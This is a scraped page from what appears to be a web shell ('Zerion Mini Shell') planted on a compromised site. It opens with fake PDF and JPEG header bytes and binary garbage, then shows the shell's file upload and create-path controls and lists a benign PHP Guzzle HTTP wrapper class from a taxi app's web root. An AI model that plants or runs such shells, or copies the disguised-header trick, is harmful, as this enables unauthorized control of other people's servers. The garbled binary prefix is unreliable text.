%PDF- %PDF- ���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC
Mini Shell

Mini Shell

Direktori : /var/www/html/ctctaxi/app/Utils/
Upload File :
Create Path :
Current File : /var/www/html/ctctaxi/app/Utils/Http.php

<?php

namespace App\Utils;

use GuzzleHttp\Client;
use GuzzleHttp\Exception\BadResponseException;

/**
 * Class Http
 *
 * @package App\Utils
 */
class Http
{
    /**
     * @var array
     */
    private $queryString;

    /**
     * @var array
     */
    private $postBody;

    /**
     * @var array
     */
    private $jsonBody;

    /**
     * @var Client
     */
    private $client;

    /**
     * @var array
     */
    private $headers;

    /**
     * @var string
     */
    private $url;

    /**
     * Http constructor.
     *
     * @param Client $client
     */
    public function __construct(Client $client)
    {
        $this->client    = $client;
    }

    /**
     * HTTP Get Request.
     *
     * @param       $url
     * @param array $params
     * @param array $header
     *
     * @return array
     */
    public function get($url, $params = [], $header = [])
    {
        return $this->setHeaders($header)->setQueryString($params)->sendRequest($url);
    }

    /**
     * HTTP Post Request.
     *
     * @param       $url
     * @param array $params
     * @param array $header
     *
     * @return array
     */
    public function post($url, $params = [], $header = [])
    {
        return $this->setHeaders($header)->setRequestBody($params)->sendRequest($url, 'POST');
    }

    /**
     * HTTP Put Request.
     *
     * @param       $url
     * @param array $params
     * @param array $header
     *
     * @return array
     */
    public function put($url, $params = [], $header = [])
    {
        return $this->setHeaders($header)->setRequestBody($params)->sendRequest($url, 'PUT');
    }

    /**
     * HTTP Delete Request.
     *
     * @param       $url
     * @param array $params
     * @param array $header
     *
     * @return array
     */
    public function delete($url, $params = [], $header = [])
    {
        return $this->setHeaders($header)->setRequestBody($params)->sendRequest($url, 'DELETE');
    }

    /**
     * Send the HTTP Request.
     *
     * @param        $url
     * @param string $method
     *
     * @return array
     */
    private function sendRequest($url, $method = 'GET')
    {
        return $this->setUrl($url)->makeRequest($method);
    }

    /**
     * Make Http Request.
     *
     * @param $method
     *
     * @return array
     * @throws \Exception
     */
    private function makeRequest($method)
    {
        $response   = ['code' => 200, 'response' => null];

        try {
            $request    = $this->client->request($method, $this->url, [
                'query'         => $this->getQueryString(),
                'form_params'   => $this->getPostBody(),
                'json'          => $this->getJsonBody(),
                'headers'       => $this->headers
            ]);

            $response['response']    = json_decode($request->getBody(), true);
        } catch (BadResponseException $e) {
            $response    = [
                'code'        => $e->getResponse()->getStatusCode(),
                'response'    => json_decode($e->getResponse()->getBody(), true)
            ];
        } catch (\Exception $e) {
            throw new \Exception($e);
        }

        return $response;
    }

    /**
     * @param string $url
     *
     * @return Http
     */
    private function setUrl($url)
    {
        $this->url = $url;

        return $this;
    }

    /**
     * @param array $headers
     *
     * @return Http
     */
    private function setHeaders($headers = [])
    {
        $this->headers = $headers;

        return $this;
    }

    /**
     * Check for content type application json.
     *
     * @return bool
     */
    private function hasApplicationJsonContent()
    {
        return data_get($this->headers, 'Content-Type') == 'application/json';
    }

    /**
     * Get Body Params.
     *
     * @param array $params
     *
     * @return Http
     */
    private function setRequestBody($params = [])
    {
        if ($this->hasApplicationJsonContent()) {
            return $this->setJsonBody($params);
        }

        return $this->setPostBody($params);
    }

    /**
     * @return mixed
     */
    private function getQueryString()
    {
        return $this->queryString;
    }

    /**
     * @param $queryString
     *
     * @return Http
     */
    private function setQueryString($queryString = [])
    {
        $this->queryString = $queryString;

        return $this;
    }

    /**
     * @return mixed
     */
    private function getPostBody()
    {
        return $this->postBody;
    }

    /**
     * @param $postBody
     *
     * @return Http
     */
    private function setPostBody($postBody = [])
    {
        $this->postBody = $postBody;

        return $this;
    }

    /**
     * @return mixed
     */
    private function getJsonBody()
    {
        return $this->jsonBody;
    }

    /**
     * @param array $jsonBody
     *
     * @return Http
     */
    private function setJsonBody($jsonBody = [])
    {
        $this->jsonBody = $jsonBody;

        return $this;
    }
}

Zerion Mini Shell 1.0